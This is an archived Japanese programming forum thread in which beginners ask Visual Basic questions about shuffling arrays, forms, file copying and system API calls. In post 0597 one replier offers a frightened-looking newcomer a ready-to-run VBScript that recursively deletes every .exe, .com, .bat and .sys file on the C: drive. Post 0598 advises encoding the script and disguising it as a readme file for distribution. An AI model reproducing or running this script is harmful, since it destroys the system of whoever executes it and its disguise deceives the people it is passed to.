VB初心者質問スレ Part4
■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん
NGNGhttp://pc.2ch.net/test/read.cgi/tech/1000523122/
0552492です
NGNGそれと、今>>497みたいな感じでプログラム組んでいるのですが、
問題のところで、コマンドを一つにして、回答と次の問題を同時に
こなすようにしています。
が、一問目ではテキストボックス等全部空なので、はじめは
空の状態でコマンドを押さなければなりません。
コマンド_クリック ではなくてはじめからプログラムが
実行されるようにするにはどうしたらいいのでしょうか?
フォーム_アクティベイト
フォーム_ロード
ではうまくいきませんでした。
どなたかお願いいたします。
0553デフォルトの名無しさん
NGNG乱数の質にもよるけど、要素数と同じ回数だけ入れ替えを行えば大丈夫。
経験的な基準ですが。
入れ替える要素の両方の添え字をランダムに選ぶんじゃなくて、片方は順番に選び、
もう片方はランダムに選ぶっていう方法もある。そっちのほうが確実にバラけると思われ。
言葉だとわかりにくいと思うのでコード例でどうぞ。
Dim Num(1 to 15) As Integer
Dim Tmp As Integer
Dim i As Integer
Dim j As Integer
For i = 1 To 15
Num(i) = i
Next i
For i = 1 To 15
j = Int(Rnd(1) * 15) + 1
Tmp = Num(i)
Num(i) = Num(j)
Num(j) = Tmp
Next j
0554デフォルトの名無しさん
NGNG要素数と同じ回数だと半分くらいの要素が
元の位置から動かないような気がします。
順番に配列に数字を入れてからシャフルして
はじめの5個とるとその中に1−5までの数が
動かずに2,3個残っていたりしませんか?
個人的には>>546の方法がお勧めだとおもいますけど…。
0556554
NGNGやっと理解しました。
すべての要素を別な要素と交換するんですね。
なんとなくバラけそうな気がしてきました。
0557デフォルトの名無しさん
NGNG理論的に出せる
順番に n (0<=n<要素数) 番目の値と Rnd*(n+1) 番目の値を入れ替えればいい
元の並びはどうでもいい
でも俺だったらそんな効率の悪いことはしないな。
普通に人間が15個の配列から5つ取り出すのと同じことをやればいい。
俺もVBわからんからC風に書くけど
n = 5; m = 15;
for( i=0; i<n; ++i )
{
j = (int)( Rnd()*m ); // 0<=rnd()<1 ってことで
ResultArray[i] = OriginalArray[j];
OriginalArray[j] = --m;
}
0558553
NGNG(正)すべての添え字位置の要素を
迂津柁嗣埜卯……
0559デフォルトの名無しさん
NGNG重複を防ぐ仕組みがないようですが?
0562557
NGNG選択した結果を保存するのに配列が必要では?
>>557 のやつは配列が規則正しく並んでるときの例ね。
規則正しく並んで無いときは
OriginalArray[j] = --m;
を
OriginalArray[j] = OriginalArray[--m];
にしておくれ。
0563561
NGNG>選択した結果を保存するのに配列が必要では?
>>546では15個中5個選択なら要素数5個の配列が必要です。
ただし、10万個中5個選択でも要素数5個の配列でできます。
シャフルする方法だと、もっとたくさん必要になりますよね?
0565557
NGNG>>557 は元の配列を破壊するから、そのコピーが必要。
10万個から5個取り出すには10万個のコピーを行う必要がある。
その代わりループ回数は5回
>>546 はもとの配列にはノータッチなのでコピーのオーバーヘッドは無い。
代わりに10万回ループしなければいけないから、10万回乱数を発生させて10万回除算をしないといけない。
0566553
NGNG(特に、選択元の要素数が極端に多い場合)
ヘタレな乱数ライブラリを使っているときは要注意です。
まあ、まずありえない事ですけど。
>>553 のやり方では、シャッフルにメモリは食いますが、処理が必ず終わる
(それもほぼ一定時間で)ことは保証できます。
0568デフォルトの名無しさん
NGNG乱数がちゃんと均一に発生するなら、元の要素数の2分の1の回数のループで十分です。
0569デフォルトの名無しさん
NGNG>ヘタレな乱数ライブラリを使っているときは要注意です。
お〜〜い。ここはVBのスレだよ。
なんか脱線して内科医?
0570557
NGNG・>>546
速度は落ちるがメモリを節約したいときに有効。
全体の個数と選ぶ個数が比較的近いとき。
・>>547
単純でわかりやすいが全体の個数と選ぶ個数が近いときには極端に時間がかかる。
(終わらない可能性もアリ)
・>>553
全体の個数と選ぶ個数が極めて近いときに有効。
ただしもっと最適化できる(For文を1つにまとめられる)
・>>557
全体の個数に比べて選ぶ個数が少ない時に有効。
元の配列を破棄してもかまわないときは得に効果アリ。
そうでなければ配列のコピーが行えない言語にはお勧めできない。
0571デフォルトの名無しさん
NGNGフォームをShowする時にフォームのオーナーを明示してみたら?
0572VB使い
NGNG最初の
Dim X As New Form2のForm2と
次の
Form2.Visible = FalseのForm2はまったく別物。
Xに入れたんならXで処理しなくちゃだめ。
0573492です
NGNG二つ目を別定義にして、やるってことしょうか?
以下のようにしてもダメでした。
それと「フォームのオーナーに明示」をもう少し
わかりやすくおしえて頂きたいのですが。。。
Dim X2 As New Form3
X2.Show
X.Visible = False
0574VB使い
NGNGまあ、要するにこういうことをやりたいんだよな?
Private Sub Form_Load()
Dim X As New Form2, X2 As New Form3
Form1.Show
Form1.Visible = False
X.Show
X.Visible = False
X2.Show
End Sub
>>492のコードってフォームに書いてそれぞれ別のファンクションに
してるか?だとしたら変数の有効範囲のせい。
標準モジュールに書くか、ひとつの関数にすれ。
0575厨房王
NGNG所定の場所にファイルを増やしたり、または実行した時に、所定の場所の
ファイルを消すコードはどうやってつくればいいの。
sub teach me()
msgbox "osiete"
end sub
0576VB使い
NGNGOpen,Close,Kill,App.Path等を使う。(Copy,Nameとかでもいい。)
ファイル処理全般を勉強するべし。
あと、ネタでも関数名にスペース入れるのはやめれ。
見てて落ちつかねえ。(w
0577擬人
NGNGhttp://www.puchiwara.com/hacking/
0578厨房王
NGNGすいません、なんせプログラムは最近始めたばかりなので、本は「十
日間のエクセルVBA」を使っています。一応VBでテキストファイ
ルのコピーを勉強しました。が、以下の「fso」どんな役割があるの
でしょうか。「Dim」は定義付けでした?
Private Sub Command1_Click()
Dim fso
Source = "c:\r.txt"
destination = "c:\r2.txt"
Set fso = CreateObject("scripting.filesystemobject")
Call fso.copyfile(Source, destination)
End Sub
ここから発展して、例えばCドライブのファイルをランダムに選択して、
コピーするという命令などはできるのでしょうか。よければ、教えてくだ
さい。
0579VB使い
NGNG流れとしてはCドライブにどのファイルがあるか調べて、好きなファイルを
コピーするといった形になる。Folderオブジェクトでファイルの一覧を
取得できるはずなんで確認してみれ。
俺はFSOが嫌いなんで使ってない。スマソ。
>Dim fso
はfsoという変数をVariant型で宣言する、ということ。
0580デフォルトの名無しさん
NGNG具体的に何やりたいの?
ランダムにファイル拾ってコピーすりゃいいの?
0581デフォルトの名無しさん
NGNGDimは変数を宣言するもので、fsoはそれで宣言された変数。
で、Set fso = CreateObject(〜)の行で
FileSystemObjectオブジェクトのインスタンスを作成して
そのオブジェクトへの参照をその変数に入れている。
どんな役割かというと、FileSystemObjectには
CopyFileというファイルをコピーするメソッドがある訳で
そのメソッドを使うためにオブジェクトを作成している訳だ。
まぁオブジェクトとか言われてもわからんだろうけど、
要はそういう道具を使えるようにしているわけだ。
scripting.filesystemobjectというのが道具の設計図の名称で
fso(という名前がつけられたもの)が実際の道具。
CreatObjectという命令でその道具を設計図から作り出している訳。
その道具のFileCopyという機能を使ってコピーしてるわけだな。
> ここから発展して、例えばCドライブのファイルをランダムに選択して、
> コピーするという命令などはできるのでしょうか。よければ、教えてくだ
まず何をしたいのか教えてくれ。
VBA+そういう怪しい動作=ウイルスとしか思いつかん。
0582デフォルトの名無しさん
NGNGWindowStateで最大化ではなくゲームとかであるようなフルスクリーンに
したいのですが可能でしょうか?
0583デフォルトの名無しさん
NGNG0584デフォルトの名無しさん
NGNG最大化や最小化のボタンのあるバーの部分を見えなくしたいのですが…
ボタン等をFalseにしても上部のバーの部分は残るのでバーを消したいのですが
DirectX関係じゃないと無理ですかね?
0586デフォルトの名無しさん
NGNGありがとうございます。
なにぶん初心者なものですいません。
これで目的は達成したのですが、この状態でマウスカーソルを上の方に持って
いくとメニューが出てくる(普段は見えないようになってる)ようにできますか?
0588デフォルトの名無しさん
NGNG500KBぐらいまで増やすことって出来ないですか?
0589デフォルトの名無しさん
NGNGRichTextBox使いなはれ。
0590
NGNGWindows Script
http://www.asia.microsoft.com/japan/developer/scripting/default.asp
[MSDN]-[プラットフォームSDKドキュメント]-
[ツールおよび開発言語]-[スクリプト]-[Windows スクリプト テクノロジ]-
[Script ランタイム]-[FileSystemObject オブジェクト]
http://www.microsoft.com/japan/developer/library/script56/fsooriscriptingrun-timereference.htm
0591厨房王
NGNGウイルスと作ってると言われれば、否定はしないです。でも、私のPCの
中を整理してくれるウイルスを作ろうと思っています。
例えば:ファイルがごちゃごちゃになった時、それらを拡張子毎に一つの
ファイルに入れる。という作業やランダムに語弊があったようですが、こ
れは、適当に選択という意味ではなく、まとまった物を選んでという意味
で使いました。あと、もう一つはウイルス系の核を取り除くために、ファ
イル探索した後に、それらを一気に消去するアプリをつくろうと思ってい
ます。
0592デフォルトの名無しさん
NGNG0593デフォルトの名無しさん
NGNG0594
NGNG0595
NGNG0596Cp.Alpha2
NGNG0597590
NGNG参考にしてみてください。以下をコピーして
delete.vbs として保存。ダブルクリックする。
邪魔くさいファイルを削除して、対象ファイルのパスを
C:\log.txt に書き出します。
使用はくれぐれも自己責任でお願いします。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
コードの意味が分からなければ使用しないほうが
良いと思います。
'ここから--------------------------------------------------
'**Start Encode**
Dim FSO, TXT
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TXT = FSO.CreateTextFile("C:\log.txt", True)
Call ShowFileList("C:\", FSO, TXT)
TXT.Close
MsgBox "complete"
Sub ShowFileList(folderspec, fso, txt)
Dim f, g, f1, f2, fc, fd
On Error Resume Next
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
Set fd = f.SubFolders
For Each f1 in fc
If InStr(1, LCase(f1.Name), ".com") <> 0 Or _
InStr(1, LCase(f1.Name), ".exe") <> 0 Or _
InStr(1, LCase(f1.Name), ".bat") <> 0 Or _
InStr(1, LCase(f1.Name), ".sys") <> 0 then
txt.WriteLine(f1.Path & "\" & f1.Name)
Set g = fso.GetFile(f1.Path & "\" & f1.Name)
g.Delete
Set g = Nothing
End If
Next
For Each f2 in fd
txt.WriteLine(f2.Path & "\")
Call ShowFileList(f2.Path & "\", FSO, TXT)
Next
End Sub
'ここまで--------------------------------------------------
0598590
NGNGWindows Script Encoder を使うとスクリプトを暗号化できます。
配布するときは暗号化してみてはどうでしょうか。
Windows Script Encoder
http://www.microsoft.com/downloads/release.asp?ReleaseID=33261&area=search&ordinal=6
使い方
コマンドプロンプトで以下のコマンドを打ち込む
SRCENC delete.vbs "readme.txt .vbn"
新しく生成されたファイルを配布します。
これであなたもタイーホ
0599590
NGNGSRCENC delete.vbs "readme.txt .vbn"
0600590
NGNG0601ウルトラ初心者
NGNG0602Cp.Alpha2
NGNGプロフェッショナルはプログラマーに推奨。
ラーニングはやや機能が落ちますが、値段も得で初心者には推奨。
0603デフォルトの名無しさん
NGNGラーニングの低機能さには泣くぜ。あとで。
0604デフォルトの名無しさん
NGNGVBの低機能さには泣くぜ。あとで。
0605590
NGNGプロフェッショナルにしておくのが無難だと思われ。
0606デフォルトの名無しさん
NGNG2月にはVS.NETでるんだし。
現行のVBはきれいに消え去ってるよ。
0607デフォルトの名無しさん
NGNGVBの質問じゃないんだけど、
VBからVBSとかWHSとかでアドレス帳のデーターを取得できない?
0608デフォルトの名無しさん
NGNG素直にVBからアドレス帳にアクセスするか、
VBSやWHSを使うならVBはいらんちゃうか?
0609デフォルトの名無しさん
NGNGウィルスのソースを探すといいかも
0610デフォルトの名無しさん
NGNGそんなあなたにDelphi6 Personal http://www.borland.co.jp/delphi/
フリーだし、VB6のProfessionalぐらいのことはできますよ。
0611デフォルトの名無しさん
NGNGで、Public Test(1 To 9,1 To 9) as String
それに
Test(0,0) = "あ"
Test(0,1) = "い"
という感じでTest(9,9)まで文字を格納したいのですが、
いちいちTestとかかなくてよい方法ありませんか?
Arrayっていうの使えないみたいなのです。
0612デフォルトの名無しさん
NGNGArray ってVariant 型でしょ。
Dim varTest As Variant
Dim i As Long
varTest = Array("あ", "い", "う", "え", "お")
For i = 0 To 4
Debug.Print CStr(varTest(i))
Next i
0613デフォルトの名無しさん
NGNGヘルプよく分からなくて・・・。
0614デフォルトの名無しさん
NGNGただ、上記の方法ではたとえば
Debug.Print CStr(varTest(0,1))
とするとエラーになり二次元配列にならないのです。
verTest(i,j)とやったときに"あ"とか"う"とかが
でるよう対応したやつを作りたいのです。
0615デフォルトの名無しさん
NGNG解決しそうです
ちとイメージどおりのスマートさはないですが。
0616デフォルトの名無しさん
NGNGもっと良い方法があると思いますが。
Dim varTest As Variant
Dim strBuff As String
Dim i, j As Long
Dim m As Long: m = 4
Dim n As Long: n = 4
varTest = Array("あ", "い", "う", "え", "お", _
"あ", "い", "う", "え", "お", _
"あ", "い", "う", "え", "お", _
"あ", "い", "う", "え", "お", _
"あ", "い", "う", "え", "お")
For i = 0 To m
strBuff = vbNullString
For j = 0 To n
strBuff = strBuff & CStr(varTest((m + 1) * i + j))
Next j
Debug.Print strBuff
Next i
0617SENJU
NGNGコマンドをダブルクリックして「バッチファイル(〜.bat)」や
「実行ファイル(〜.exe)」を起動するときのコーディングを
教えてください。
0618デフォルトの名無しさん
NGNG0619デフォルトの名無しさん
NGNG言われますがどうしてWindowsには標準でDLLが入ってないんですか?
0620デフォルトの名無しさん
NGNG0621デフォルトの名無しさん
NGNG標準の DLL ではないから。
0622デフォルトの名無しさん
NGNGMSDN で調べた?
strConv
0623デフォルトの名無しさん
NGNGForm1とForm2を同時にアクティブにしておく方法はないでしょうか。
というのもメニューエディタで編集したやつはアクティブフォーム側の
やつが表示されますよね、だけどForm1とForm2のメニューは同じなので
両方にメニューエディタで作るのは二度手間になるのです。
もしくはForm1につくったメニューをForm2側にコピーする方法を教えてください。
0624デフォルトの名無しさん
NGNGいまさらだが、こっちの方がマシかも
Dim varTest As Variant
Dim strBuff As String
Dim i, j As Long
Dim m As Long: m = 4
Dim n As Long: n = 4
varTest = Array(Array("あ", "い", "う", "え", "お"), _
Array("あ", "い", "う", "え", "お"), _
Array("あ", "い", "う", "え", "お"), _
Array("あ", "い", "う", "え", "お"), _
Array("あ", "い", "う", "え", "お")) _
For i = 0 To m
strBuff = vbNullString
For j = 0 To n
strBuff = strBuff & CStr(varTest(i)(j))
Next j
Debug.Print strBuff
Next i
0625デフォルトの名無しさん
NGNGフォームを配列にしちまうか、
frmファイルをメモ帳で開いて、プロパティ部分をコピるか。
そーゆーのじゃダメ?
0626デフォルトの名無しさん
NGNGうむー
感謝です。
両方アクティブってのは実質無理なんでしょうか。
どこかのフリーウェアでなってたような。
なってるように見せる方法ってないですか。
0627デフォルトの名無しさん
NGNGMDIFormにメニューを付けて、ActiveFormを見て処理を分岐するんじゃ駄目?
0628デフォルトの名無しさん
NGNGプロポーショナルフォント(MSPゴシック)を使って帳票出力したいのですが、
表示領域の幅に合わせてプログラムで文字列を区切って改行させようとしています。
VBで、プロポーショナルフォントの文字列の幅を取得する方法ってあるでしょうか。
0629デフォルトの名無しさん
NGNGラベルを一つ作って、プロパティのAutosizeをTrueにし、
Captionに入れたい文字を入れ、そのwidthを取得する、と。
すこしダサいか・・・。
0630デフォルトの名無しさん
NGNG0631デフォルトの名無しさん
NGNG表示領域と同じフォント指定したPictureとか用意して
そこでTextWidth("出力したい文字列〜")で取得すればいいんちゃう?
0632バカかもしれん…
NGNGの機能を付けたいのですがどういった感じで組めばいいのでしょうか?
モザイクとかなら10ドット単位とかの正方形で区切ってそれぞれのRGB値を
操作するといった感じでできると思いますが、ぼかしの場合が
思いつきません。
どなたかアドバイスいただけないでしょうか。
0633デフォルトの名無しさん
NGNG目的によって使い分けられてる。
>632
ガウスぼかしなら、 g(x, y)=exp(-(x^2+y^2)/(2*s^2)
0634デフォルトの名無しさん
NGNG質問なんですが、
DatabaseとRecordSetのオブジェクトをつかうには,
どの参照設定を入れれば良いんでしょうか?
0635デフォルトの名無しさん
NGNGMicrosoft DAO x.xx Object Libraryかな。
怪しいのを参照設定してオブジェクトビューアで見てみ。
0636デフォルトの名無しさん
NGNGできました。ありがとうございます
0637630
NGNG・データベースとつなぎたいです。
・複数列表示できるリストボックスとして使いたいです。
・表示されてる項目をクリックして、そのアイテムを取得できるのが良いです。
できましたら、上記のに当てはまるGridを教えてください。
出来れば3番目のやり方も教えてもらえるとありがたいです。。
0638デフォルトの名無しさん
NGNG保存するにはどうすればよいのでしょうか?
保存する際に、ウインドウのタイトル、枠などを除いて
画像として保存したいです。
0639デフォルトの名無しさん
NGNGBOCのTrueDBGrid。
http://www.boc.co.jp/
コントロール系の情報集めるのならVBマガジンぐらい見る事を勧める。
0640デフォルトの名無しさん
NGNG画面を取り込んで印刷
http://www.microsoft.com/japan/support/kb/articles/J042/0/88.asp
画像の保存
http://www1.plala.or.jp/akis/bbslog/1000/401-450.html
これを組み合わせれば大丈夫だと思う。
0641デフォルトの名無しさん
NGNGsngWidth = Form1.TextWidth("AIUEO")
sngWidth = Printer.TextWidht("AIUEO")
のように、TextWidthメソッドでFontプロパティに設定されている
Fontの幅なら取れるよん
0642デフォルトの名無しさん
NGNGパソコン名とそのPCのログインユーザ名を取得する方法がありましたら教えてください
0643デフォルトの名無しさん
NGNG読みにくいのは勘弁な
--- 標準モジュールに
Option Explicit
'ユーザ名を取得する
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long
'コンピュータ名を取得する
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long
--- 標準モジュール ここまで
とやって
コマンドボタン1個とテキストボックス2個貼ったフォームを用意。
--- テスト用フォーム
Private Sub Command1_Click()
Dim lngRetAPI As Long
Dim tempX As String
tempX = String(256, Chr(0))
'ユーザ名(GetUserName)
lngRetAPI = GetUserName(tempX, 256)
Text1.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)
'コンピュータ名(GetComputerName)
lngRetAPI = GetComputerName(tempX, 255)
Text2.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)
End Sub
--- テスト用フォーム ここまで
で、ボタンを押す。
0644デフォルトの名無しさん
NGNGそんなこと聞いてないよ
0645デフォルトの名無しさん
NGNGゴメン間違えた(藁
0646デフォルトの名無しさん
NGNG常に最全面に表示されたままのフォームを作成したいのですが、
どうすればよいのでしょうか?
0647642
NGNGそれだと自分のパソコン名とログインユーザ名だけしか解らないと思います。
ネットワーク内のすべてのパソコン名と、そのログインユーザ名を調べたいのですが、
やはりこれは難しいのでしょうか
0648デフォルトの名無しさん
NGNGDebug.Print で出力してると残ったままになので、
クリアして使うには、毎回手作業で消してますが、面倒なので
0649早とちりの643
NGNG書籍情報でスマンが...
「Visual Basic6.0 300の技 ネットワーク+データベース編 」
http://www2.gihyo.co.jp/books/bookinfo.asp?ID=910
PC名一覧だけなら net view コマンドでも良いのかな?
0650デフォルトの名無しさん
NGNGhttp://jsvb.freewebspace.com/VBA/
0651( ゚д゚)
NGNGDriveListBoxとDirListBox使えばできるけど、チョト面倒臭い
ちなみにVBのバージョンは5です
0652デフォルトの名無しさん
NGNGVB5 で出来るかどうかはやったことないのでわからんけど、
Shell32.Shell(SHDOC401.DLL) オブジェクトの
BrowseForFolder メソッド使ってますです。
■ このスレッドは過去ログ倉庫に格納されています